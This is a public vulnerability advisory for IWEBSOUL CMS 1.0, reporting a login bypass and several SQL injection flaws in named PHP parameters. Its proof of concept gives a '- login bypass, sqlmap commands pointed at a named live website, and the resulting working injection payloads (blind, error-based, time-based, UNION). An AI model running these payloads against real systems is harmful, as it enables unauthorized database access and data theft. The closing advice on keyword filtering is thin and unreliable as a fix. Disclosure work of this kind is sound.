Title: ======= IWEBSOUL CMS - Multiple SQL Injection Vulnerabilities & Authentication Bypass Introduction: ============== Intrepid Websoul Private Limited - iWebsoul is a rapidly growing IT Solution provider in India. Team comprehensively works to create a unique business and industry based solution for their customers. They customize solutions and tailor it according to the needs of our clients keeping in mind their vision and target audience.[iWbeSoul] Vulnerability Disclosure: ========================== 2017-09-06: Public Disclosure Affected Product(s): ===================== IWEBSOUL CMS 1.0 Exploitation Technique: ======================== Remote Severity Level: ================ High Technical Details & Description: ================================= An auth bypass session vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application. The session vulnerability allows remote attackers to unauthorized access the web user interface. The vulnerability is located in the session credentials request of the login.php file. Remote attackers are able to use a '- SQL Injection payload to bypass the login.php script validation. This is results in unauthorized access. The issue is a classic auth bypass and is remote exploitable. The request method to inject is POST. Request Method(s): [+] POST Vulnerable Funcitons(s): [+] login.php Affected Module(s): [+] Web User Interface A remote SQL Injection web vulnerability has been discovered in the IWEBSOUL CMS 1.0 web-application. The vulnerability allows remote attackers to execute own sql commands to compromise the web-server or dbms. The vulnerability is located in the `type` parameter of the `service-detail.php` file GET method request. Request Method(s): [+] GET Vulnerable Function(s): [+] service-detail.php Vulnerable Parameter(s): [+] type And the other SQL injection is located in the `catid`, 'scatid' & 'typeid' parameters of the `product.php` file GET method request. Request Method(s): [+] GET Vulnerable Function(s): [+] product.php Vulnerable Parameter(s): [+] catid [+] scatid [+] typeid More SQL Injection is located in the 'id' paramater of the 'offerproductdisplay.php' file GET method request. Request Method(s): [+] GET Vulnerable Function(s): [+] offerproductdisplay.php Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================== An Auth bypass vulnerability can be exploited by remote attackers without privilege application user account or user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability. 1 . Open the vulnerable web-app 2 . Start to browse the website and go to http://www.bumalow.com/login.php 3 . Enter Username:'- 4 . Enter Password:'- 5 . Now you will login with the credentials 6 . Successful reproduce of the auth bypass login vulnerability! The remote sql-injection vulnerability can be exploited by remote attackers with privilege web-application user account and without user interaction. The security demonstration reproduce the web vulnerability exploitation using SQLmap. renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com/service-detail.php?type=1" --current-db --random-agent --dbms=mysql --threads=8 --- Parameter: type (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) Payload: type=-7101' OR 4159=4159# Type: error-based Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: type=1' OR (SELECT 2319 FROM(SELECT COUNT(*),CONCAT(0x716b707071,(SELECT (ELT(2319=2319,1))),0x716b717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- HVPB Type: AND/OR time-based blind Title: MySQL >= 5.0.12 OR time-based blind Payload: type=1' OR SLEEP(5)-- dKVd --- renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com/product.php?catid=1" --current-db --random-agent --dbms=mysql --threads=8 --- Parameter: catid (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: catid=1 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: catid=1 UNION ALL SELECT CONCAT(0x71786a6271,0x68686e537353764743507264565a7a6673496f70454f7475655846614e5243664f68634a57414761,0x7176787671),NULL,NULL,NULL-- jApP --- renzi@instance-1:~/sqlmapproject-sqlmap-96b9950$ python sqlmap.py -u "http://www.bumalow.com//offerproductdisplay.php?id=1" --current-db --random-agent --dbms=mysql --threads=8 --- Parameter: id (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1 AND SLEEP(5) --- Solution ========= In order to avoid SQL Injection it is important to validate all non-SQL text entries, not allowing special characters and SQL key words to be written, such as INSERT, DELETE, UPDATE, HAVING, JOIN, etc. It is interesting to set a maximum of characters for passwords and users. Treat errors appropriately, for messages that do not expose attackers to information about a data structure. Credits ======== Felipe "Renzi" Gabriel Contact ======== renzi@linuxmail.org References ========== https://www.owasp.org/index.php/Top_10_2013-A1-Injection https://www.iwebsoul.com/about-iwebsoul.php